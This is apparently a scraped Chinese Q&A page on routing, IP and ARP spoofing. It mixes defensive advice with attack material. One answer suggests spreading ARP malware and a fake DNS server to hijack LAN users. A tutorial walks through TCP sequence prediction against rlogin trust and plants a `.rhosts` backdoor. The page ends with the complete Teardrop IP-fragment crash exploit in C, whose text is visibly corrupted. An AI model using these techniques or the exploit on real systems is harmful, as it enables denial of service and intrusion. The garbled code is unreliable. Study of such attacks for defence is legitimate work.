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路由欺骗定义

发布时间: 2021-02-28 03:16:31

路由器欺骗攻击是什么ARP病毒怎么查谁可以帮帮我

源地址欺骗(Source Address Spoofing)、IP欺骗(IP Spoofing)其基本原理:是利用IP地址并不是出厂的时候与固定在一起的,攻击者通过自封包和修改网络节点的IP地址,冒充某个可信节点的IP地址,进行攻击。
1. 瘫痪真正拥有IP的可信主机,伪装可信主机攻击服务器;
2. 中间人攻击;
(2) 源路由选择欺骗(Source Routing Spoofing)。原理:利用IP数据包中的一个选项-IP Source Routing来指定路由,利用可信用户对服务器进行攻击,特别是基于UDP协议的由于其是面向非连接的,更容易被利用来攻击;
(3) 路由选择信息协议攻击(RIP Attacks)。原理:攻击者在网上发布假的路由信息,再通过ICMP重定向来欺骗服务器路由器和主机,将正常的路由器标志为失效,从而达到攻击的目的。
(4) TCP序列号欺骗和攻击(TCP Sequence Number Spoofing and Attack),基本有三种:
1. 伪造TCP序列号,构造一个伪装的TCP封包,对网络上可信主机进行攻击;
2. SYN攻击(SYN Attack)。这类攻击手法花样很多,蔚为大观。但是其原理基本一致,让TCP协议无法完成三次握手协议;
3. Teardrop攻击(Teardrop Attack)和Land攻击(Land Attack)。原理:利用系统接收IP数据包,对数据包长度和偏移不严格的漏洞进行的。

ip地址欺骗 这是一种黑客的攻击形式,黑客使用一台计算机上网,而借用另外一台机器的IP地址,从而冒充另外一台机器与服务器打交道。防火墙可以识别这种ip欺骗。
IP地址欺骗是指行动产生的IP数据包伪造的源IP地址,以便冒充其他系统或保护发件人的身分。 欺骗也可以是指伪造或使用伪造的标题就以电子邮件或网络新闻-再次-保护发件人的身分和误导接收器或网络,以原产地和有效性发送数据。
基本的IP地址欺骗
Internet协议或IP是根本议定书发送/接收数据通过计算机网络和互联网。 与网际网路通讯协定,每包发送或接收包含有关的资料的运作,例如来源地和目的地的数据包。 与IP地址欺骗,信息放置在源字段是不实际的来源,该数据包。 通过使用不同的地址在源领域的数据包,实际发件人可以使像包,被送往由另一台计算机上,从而反应目标计算机将被发送到假地址中指定的数据包-除非攻击者要重定向的反应,他自己的电脑。
影响IP地址欺骗
IP地址欺骗是非常有益的,特别是在案件拒绝服务( DoS )攻击,如大量的信息被发送到目标计算机或系统没有肇事者关心的反应,目标系统。 这种类型的攻击,特别是有效的,因为攻击数据包,似乎即将从不同的来源,因此,肇事者是难以追查。
黑客使用的IP地址欺骗,经常利用随机选择的IP地址从整个频谱的IP地址空间的同时,一些更先进的黑客仅使用未经注册的部分IP地址范围。 IP地址欺骗,但是,是不那么有效,比使用僵尸网络为DoS攻击,因为它可以被监控互联网当局利用散射技术可以判断DoS攻击的基础上,有多少无效的IP地址使用的攻击。 不过,它仍然是一个可行的替代办法,为黑客的攻击。
IP地址欺骗,也是一个非常有用的工具,在网络的渗透和克服网络安全保密措施。 发生这种情况时, IP地址spoofers使用受信任的IP地址,内部网络,从而规避需要提供一个使用者名称或密码登录到该系统。 这类攻击通常是基于一组特定的主机控制(如rhosts )是不安全的配置。
IP地址欺骗的防御
侵入过滤或包过滤传入的交通,从体制外的使用技术是一种有效方式,防IP地址欺骗,因为这种技术可以判断如果数据包是来自内部或外部的制度。 因此,出口过滤也可以阻止假冒IP地址的数据包从退出制度和发动攻击,对其他网络。
上层协议,如TCP连接或传输控制协议,其中序列号码是用来建立了一个安全的连接与其他系统也是一个有效的方法,防IP地址欺骗。
关闭源路由(松散和严格的)对您的网络路由器也可协助防止黑客利用欺骗的许多功能。 源路由是一个技术的广泛使用,在过去,以防止一个单一的网络故障造成的重大网络故障,但目前的路由协议互联网上的今天使得这一切,但不必要的。

❷ 为什么路由协议不能抵御路由欺骗攻击如何设置路由器抵御这一攻击

配个认证不就解决了,例如isis协议配置认证以后连,攻击者连邻居都起不来,又何来攻击?

❸ 如何进行路由器欺骗高手等...谢谢

不知道你要骗什么?在内网你可以搞个ARP病毒让大家的电脑数据都经过你那.或者架个DNS服务器,然后做个假网站引他们上来。

❹ IP源路由欺骗的介绍

IP源路由欺骗,如果发送方进行了源路由欺骗,比如说,C进行源路由欺骗,伪装成B的ip地址,给服版务器权A发送了一个包。此时A收到包后发现要返回信息,正常的话因为发送栏地址是B,应该返回给B 但是由于源路由信息记录了来时的路线,反推回去就把应该给B的信息给了C,而A没有意识到问题,B对此一无所知,C拿到了B才能拿到的信息

❺ 路由器ACL的安全问题:IP地址欺骗使连接非正常复位是什么意思

1、ACL通常只定义允许方法或者不允许访问的进程、IP等。
2、防火墙有甄别是专否别黑的机制。属
3、IP地址欺骗就是别人以非法手段冒充了合法的流量
4、使连接非正常复位,应该就是IP地址欺骗的原理解释。
以上就我个人的看法,仅供参考!

❻ 如何防止路由欺骗

欺骗形抄式有欺骗路由器ARP表和欺骗电脑ARP两种
1.把路由器的DHCP功能关闭:打开路由器管理界面,“DHCP服务器”->“DHCP服务”,把状态由默认的“启用”更改为“不启用”,保存并重启路由器。

2.给电脑手工指定IP地址、网关、DNS服务器地址

❼ 简述路由欺骗的方式。

arp欺骗
ARP(Address Resolution Protocol)是地址解析协议,是一种将IP地址转化成物理地址的协议。
其原理是通过ARP欺骗发给被攻击的电脑一个假的网关IP地址对应的MAC,使其找不到网关真正的MAC地址,这样就可以禁止其上网。

ARP欺骗的种类
ARP欺骗是黑客常用的攻击手段之一,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。
第一种ARP欺骗的原理是——截获网关数据。它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。第二种 ARP欺骗的原理是——伪造网关。它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。在PC看来,就是上不了网了,“网络掉线了”。
一般来说,ARP欺骗攻击的后果非常严重,大多数情况下会造成大面积掉线。有些网管员对此不甚了解,出现故障时,认为PC没有问题,交换机没掉线的“本事”,电信也不承认宽带故障。而且如果第一种ARP欺骗发生时,只要重启路由器,网络就能全面恢复,那问题一定是在路由器了。为此,宽带路由器背了不少“黑锅”。

❽ 怎么分辨arp欺骗是路由器欺骗还是网关欺骗

网关就是与你的电脑相连的路由器的接口的ip地址!你这里是一个意思!

❾ 路由欺骗原理

进入路由器的配置页,里面就有一项叫MAC地址克隆,不过在克隆时拔掉所有网线,把电信绑定的网卡用网线接在路由器的LAN口上,再进入配置面,克隆MAC地址就可以了。

❿ ARP路由欺骗

IP欺骗技术

即使是很好的实现了TCP/IP协议,由于它本身有着一些不安全的地方,从而可以对TCP/IP网络进行攻击。这些攻击包括序列号欺骗,路由攻击,源地址欺骗和授权欺骗。本文除了介绍IP欺骗攻击方法外,还介绍怎样防止这个攻击手段。
上述攻击是建立在攻击者的计算机(包括路由)是连在INTERNET上的。这里的攻击方法是针对TCP/IP本身的缺陷的,而不是某一具体的实现。
实际上,IP 欺骗不是进攻的结果,而是进攻的手段。进攻实际上是信任关系的破坏。

第一节 IP欺骗原理

信任关系
> ~/.rhosts' ;从主机B上,在你的home目录中输入'echo " A username >~/.rhosts' 。至此,你能毫无阻碍地使用任何以r*开头的远程调用命令,如:rlogin,rcall,rsh等,而无口令验证的烦恼。这些命令将允许以地址为基础的验证,或者允许或者拒绝以IP地址为基础的存取服务。
这里的信任关系是基于IP地址的。

Rlogin
Rlogin 是一个简单的客户/服务器程序,它利用TCP传输。Rlogin 允许用户从一台主机登录到另一台主机上,并且,如果目标主机信任它,Rlogin 将允许在不应答口令的情况下使用目标主机上的资源。安全验证完全是基于源主机的IP 地址。因此,根据以上所举的例子,我们能利用Rlogin 来从B远程登录到A,而且不会被提示输入口令。

TCP 序列号预测
IP只是发送数据包,并且保证它的完整性。如果不能收到完整的IP数据包,IP会向源地址发送一个ICMP 错误信息,希望重新处理。然而这个包也可能丢失。由于IP是非面向连接的,所以不保持任何连接状态的信息。每个IP数据包被松散地发送出去,而不关心前一个和后一个数据包的情况。由此看出,可以对IP堆栈进行修改,在源地址和目的地址中放入任意满足要求的IP地址,也就是说,提供虚假的IP地址。
TCP提供可靠传输。可靠性是由数据包中的多位控制字来提供的,其中最重要的是数据序列和数据确认,分别用SYN和ACK来表示。TCP 向每一个数据字节分配一个序列号,并且可以向已成功接收的、源地址所发送的数据包表示确认(目的地址ACK 所确认的数据包序列是源地址的数据包序列,而不是自己发送的数据包序列)。ACK在确认的同时,还携带了下一个期望获得的数据序列号。显然,TCP提供的这种可靠性相对于IP来说更难于愚弄。
序列编号、确认和其它标志信息
由于TCP是基于可靠性的,它能够提供处理数据包丢失,重复或是顺序紊乱等不良情况的机制。实际上,通过向所传送出的所有字节分配序列编号,并且期待接收端对发送端所发出的数据提供收讫确认,TCP 就能保证可靠的传送。接收端利用序列号确保数据的先后顺序,除去重复的数据包。TCP 序列编号可以看作是32位的计数器。它们从0至232-1 排列。每一个TCP连接(由一定的标示位来表示)交换的数据都是顺序编号的。在TCP数据包中定义序列号(SYN)的标示位位于数据段的前端。确认位(ACK)对所接收的数据进行确认,并且指出下一个期待接收的数据序列号。
TCP通过滑动窗口的概念来进行流量控制。设想在发送端发送数据的速度很快而接收端接收速度却很慢的情况下,为了保证数据不丢失,显然需要进行流量控制,协调好通信双方的工作节奏。所谓滑动窗口,可以理解成接收端所能提供的缓冲区大小。TCP利用一个滑动的窗口来告诉发送端对它所发送的数据能提供多大的缓冲区。由于窗口由16位BIT所定义,所以接收端TCP 能最大提供65535个字节的缓冲。由此,可以利用窗口大小和第一个数据的序列号计算出最大可接收的数据序列号。
其它TCP标示位有RST(连接复位,Reset the connection)、PSH(压入功能,Push function)和FIN (发送者无数据,No more data from sender)。如果RST 被接收,TCP连接将立即断开。RST 通常在接收端接收到一个与当前连接不相关的数据包时被发送。有些时候,TCP模块需要立即传送数据而不能等整段都充满时再传。一个高层的进程将会触发在TCP头部的PSH标示,并且告诉TCP模块立即将所有排列好的数据发给数据接收端。FIN 表示一个应用连接结束。当接收端接收到FIN时,确认它,认为将接收不到任何数据了。
TCP序列号预测最早是由Morris对这一安全漏洞进行阐述的。他使用TCP序列号预测,即使是没有从服务器得到任何响应, 来产生一个TCP包序列。这使得他能欺骗在本地网络上的主机。
通常TCP连接建立一个包括3次握手的序列。客户选择和传输一个初始的序列号(SEQ标志)ISN C,并设置标志位SYN=1,告诉服务器它需要建立连接。服务器确认这个传输,并发送它本身的序列号ISN S,并设置标志位ACK,同时告知下一个期待获得的数据序列号是ISN=1。客户再确认它。在这三次确认后,开始传输数据。整个过程如下所示:
C*S:SYN(ISN C ) S*C:SYN(ISN S ) ,ACK(ISN C ) C*S:ACK(ISN S ) C*S:数据 或S*C:数据
也就是说对一个会话,C必须得到ISN S确认。ISN S可能是一个随机数。
了解序数编号如何选择初始序列号和如何根据时间变化是很重要的。似乎应该有这种情况,当主机启动后序列编号初始化为1,但实际上并非如此。初始序列号是由tcp_init函数确定的。ISN每秒增加128000,如果有连接出现,每次连接将把计数器的数值增加64000。很显然,这使得用于表示ISN的32位计数器在没有连接的情况下每9.32 小时复位一次。之所以这样,是因为这样有利于最大限度地减少旧有连接的信息干扰当前连接的机会。这里运用了2MSL 等待时间的概念(不在本文讨论的范围之内)。如果初始序列号是随意选择的,那么不能保证现有序列号是不同于先前的。假设有这样一种情况,在一个路由回路中的数据包最终跳出了循环,回到了“旧有”的连接(此时其实是不同于前者的现有连接),显然会发生对现有连接的干扰。
假设一个入侵者X有一种方法,能预测ISN S。在这种情况下,他可能将下列序号送给主机T来模拟客户的真正的ISN S:
X*S:SYN(ISN X ) ,SRC = T S*T:SYN(ISN S ) ,ACK(ISN X ) X*S:ACK(ISN S ) ,SRC =T X*S:ACK(ISN S ) ,SRC = T,无用数据
尽管消息S*T并不到X,但是X能知道它的内容,因此能发送数据。如果X要对一个连接实施攻击,这个连接允许执行命令,那么另外的命令也能执行。
那么怎样产生随机的ISN?在Berkeley系统,最初的序列号变量由一个常数每秒加一产生,等到这个常数一半时,就开始一次连接。这样,如果开始了一个合法连接,并观察到一个ISN S在用,便可以计算,有很高可信度,ISN S *用在下一个连接企图。
Morris 指出,回复消息
S*T:SYN(ISN S ) ,ACK(ISN X )
事实上并不消失,真正主机将收到它,并试图重新连接。这并不是一个严重的障碍。Morris发现,通过模仿一个在T上的端口,并向那个端口请求一个连接,他就能产生序列溢出,从而让它看上去S*T消息丢失了。另外一个方法,可以等待知道T关机或重新启动。
下面详细的介绍一下。
IP欺骗
IP欺骗由若干步骤组成,这里先简要地描述一下,随后再做详尽地解释。先做以下假定:首先,目标主机已经选定。其次,信任模式已被发现,并找到了一个被目标主机信任的主机。黑客为了进行IP欺骗,进行以下工作:使得被信任的主机丧失工作能力,同时采样目标主机发出的TCP 序列号,猜测出它的数据序列号。然后,伪装成被信任的主机,同时建立起与目标主机基于地址验证的应用连接。如果成功,黑客可以使用一种简单的命令放置一个系统后门,以进行非授权操作。

使被信任主机丧失工作能力
一旦发现被信任的主机,为了伪装成它,往往使其丧失工作能力。由于攻击者将要代替真正的被信任主机,他必须确保真正被信任的主机不能接收到任何有效的网络数据,否则将会被揭穿。有许多方法可以做到这些。这里介绍“TCP SYN 淹没”。
前面已经谈到,建立TCP连接的第一步就是客户端向服务器发送SYN请求。 通常,服务器将向客户端发送SYN/ACK 信号。这里客户端是由IP地址确定的。客户端随后向服务器发送ACK,然后数据传输就可以进行了。然而,TCP处理模块有一个处理并行SYN请求的最上限,它可以看作是存放多条连接的队列长度。其中,连接数目包括了那些三步握手法没有最终完成的连接,也包括了那些已成功完成握手,但还没有被应用程序所调用的连接。如果达到队列的最上限,TCP将拒绝所有连接请求,直至处理了部分连接链路。因此,这里是有机可乘的。
黑客往往向被进攻目标的TCP端口发送大量SYN请求,这些请求的源地址是使用一个合法的但是虚假的IP地址(可能使用该合法IP地址的主机没有开机)。而受攻击的主机往往是会向该IP地址发送响应的,但可惜是杳无音信。与此同时IP包会通知受攻击主机的TCP:该主机不可到达,但不幸的是TCP会认为是一种暂时错误,并继续尝试连接(比如继续对该IP地址进行路由,发出SYN/ACK数据包等等),直至确信无法连接。当然,这时已流逝了大量的宝贵时间。值得注意的是,黑客们是不会使用那些正在工作的IP地址的,因为这样一来,真正IP持有者会收到SYN/ACK响应,而随之发送RST给受攻击主机,从而断开连接。前面所描述的过程可以表示为如下模式。
1 Z (X) ---SYN ---> B
Z (X) ---SYN ---> B
Z (X) ---SYN ---> B

2 X <---SYN/ACK-- B
X <---SYN/ACK-- B
3 X <--- RST --- B
在时刻1时,攻击主机把大批SYN 请求发送到受攻击目标(在此阶段,是那个被信任的主机),使其TCP队列充满。在时刻2时,受攻击目标向它所相信的IP地址(虚假的IP)作出SYN/ACK反应。在这一期间,受攻击主机的TCP模块会对所有新的请求予以忽视。不同的TCP 保持连接队列的长度是有所不同的。BSD 一般是5,Linux一般是6。使被信任主机失去处理新连接的能力,所赢得的宝贵空隙时间就是黑客进行攻击目标主机的时间,这使其伪装成被信任主机成为可能。

序列号取样和猜测
前面已经提到,要对目标主机进行攻击,必须知道目标主机使用的数据包序列号。现在,我们来讨论黑客是如何进行预测的。他们先与被攻击主机的一个端口(SMTP是一个很好的选择)建立起正常的连接。通常,这个过程被重复若干次,并将目标主机最后所发送的ISN存储起来。黑客还需要估计他的主机与被信任主机之间的RTT时间(往返时间),这个RTT时间是通过多次统计平均求出的。RTT 对于估计下一个ISN是非常重要的。前面已经提到每秒钟ISN增加128000,每次连接增加64000。现在就不难估计出ISN的大小了,它是128000乘以RTT的一半,如果此时目标主机刚刚建立过一个连接,那么再加上一个64000。再估计出ISN大小后,立即就开始进行攻击。当黑客的虚假TCP数据包进入目标主机时,根据估计的准确度不同,会发生不同的情况:

·如果估计的序列号是准确的,进入的数据将被放置在接收缓冲器以供使用。

·如果估计的序列号小于期待的数字,那么将被放弃。

·如果估计的序列号大于期待的数字,并且在滑动窗口(前面讲的缓冲)之内,那么,该数据被认为是一个未来的数据,TCP模块将等待其它缺少的数据。如果估计的序列号大于期待的数字,并且不在滑动窗口(前面讲的缓冲)之内,那么,TCP将会放弃该数据并返回一个期望获得的数据序列号。下面将要提到,黑客的主机并不能收到返回的数据序列号。

1 Z(B) ----SYN ---> A
2 B <---SYN/ACK--- A
3 Z(B) -----ACK---> A
4 Z(B) ---——PSH---> A

攻击者伪装成被信任主机的IP 地址,此时,该主机仍然处在停顿状态(前面讲的丧失处理能力),然后向目标主机的513端口(rlogin的端口号)发送连接请求,如时刻1所示。在时刻2,目标主机对连接请求作出反应,发送SYN/ACK数据包给被信任主机(如果被信任主机处于正常工作状态,那么会认为是错误并立即向目标主机返回RST数据包,但此时它处于停顿状态)。按照计划,被信任主机会抛弃该SYN/ACK数据包。然后在时刻3,攻击者向目标主机发送ACK数据包,该ACK使用前面估计的序列号加1(因为是在确认)。如果攻击者估计正确的话,目标主机将会接收该ACK 。至此,连接正式建立起来了。在时刻4,将开始数据传输。一般地,攻击者将在系统中放置一个后门,以便侵入。经常会使用 ′cat ++ >> ~/.rhosts′。之所以这样是因为,这个办法迅速、简单地为下一次侵入铺平了道路。

一个和这种TCP序列号攻击相似的方法,是使用NETSTAT服务。在这个攻击中,入侵者模拟一个主机关机了。如果目标主机上有NETSTAT,它能提供在另一端口上的必须的序列号。这取消了所有要猜测的需要。

IP欺骗的防止
防止的要点在于,这种攻击的关键是相对粗糙的初始序列号变量在Berkeley系统中的改变速度。TCP协议需要这个变量每秒要增加25000次。Berkeley 使用的是相对比较慢的速度。但是,最重要的是,是改变间隔,而不是速度。
我们考虑一下一个计数器工作在250000Hz时是否有帮助。我们先忽略其他发生的连接,仅仅考虑这个计数器以固定的频率改变。

为了知道当前的序列号,发送一个SYN包,收到一个回复:
X*S: SYN(ISN X ) S*X: SYN(ISN S ) ,ACK(ISN X ) (1)
第一个欺骗包,它触发下一个序列号,能立即跟随服务器对这个包的反应:
X*S: SYN(ISN X ) ,SRC = T (2)
序列号ISN S用于回应了:
S*T: SYN(ISN S ) ,ACK(ISN X )
是由第一个消息和服务器接收的消息唯一决定。这个号码是X和S的往返精确的时间。这样,如果欺骗能精确地测量和产生这个时间,即使是一个4-U时钟都不能击退这次攻击。

抛弃基于地址的信任策略
阻止这类攻击的一种非常容易的办法就是放弃以地址为基础的验证。不允许r*类远程调用命令的使用;删除.rhosts 文件;清空/etc/hosts.equiv 文件。这将迫使所有用户使用其它远程通信手段,如telnet、ssh、skey等等。

进行包过滤
如果您的网络是通过路由器接入Internet 的,那么可以利用您的路由器来进行包过滤。确信只有您的内部LAN可以使用信任关系,而内部LAN上的主机对于LAN以外的主机要慎重处理。您的路由器可以帮助您过滤掉所有来自于外部而希望与内部建立连接的请求。

使用加密方法
阻止IP欺骗的另一种明显的方法是在通信时要求加密传输和验证。当有多种手段并存时,可能加密方法最为适用。

使用随机化的初始序列号
黑客攻击得以成功实现的一个很重要的因素就是,序列号不是随机选择的或者随机增加的。Bellovin 描述了一种弥补TCP不足的方法,就是分割序列号空间。每一个连接将有自己独立的序列号空间。序列号将仍然按照以前的方式增加,但是在这些序列号空间中没有明显的关系。可以通过下列公式来说明:

ISN =M+F(localhost,localport ,remotehost ,remoteport )
M:4微秒定时器
F:加密HASH函数。
F产生的序列号,对于外部来说是不应该能够被计算出或者被猜测出的。Bellovin 建议F是一个结合连接标识符和特殊矢量(随机数,基于启动时间的密码)的HASH函数。

第二节 一个源程序

下面介绍一个叫Teardrop的程序,可以用来产生用来欺骗的IP包。
Teardrop:
/*
* Copyright (c) 1997 route|daemon9 < [email protected]> 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/

#include < stdio.h>
#include < stdlib.h>
#include < unistd.h>
#include < string.h>
#include < netdb.h>
#include < netinet/in.h>
#include < netinet/udp.h>
#include < arpa/inet.h>
#include < sys/types.h>
#include < sys/time.h>
#include < sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;

printf(stderr, "teardrop route|daemon9\n\n);

if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
error("raw socket);
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
error("IP_HDRINCL);
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
printf(stderr, "What the hell kind of IP address is that?\n);
exit(1);
}

hile ((i = getopt(argc, argv, "s:t:n:)) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;

printf(stderr, "Death on flaxen wings:\n);
addr.s_addr = src_ip;
printf(stderr, "From: %15s.%5d\n, inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
printf(stderr, " To: %15s.%5d\n, inet_ntoa(addr), dst_prt);
printf(stderr, " Amt: %5d\n, count);
printf(stderr, "[ );

for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
printf(stderr, "b00m );
usleep(500);
}
printf(stderr, "]\n);
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */

sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;

/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */

if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
error("\nsendto);
free(packet);
exit(1);
}

/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header *
/
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);

if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
error("\nsendto);
free(packet);
exit(1);
}
free(packet);
}

u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;

if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
b(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}

void usage(u_char *name)
{
fprintf(stderr,
%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n,
name);
exit(0);
}

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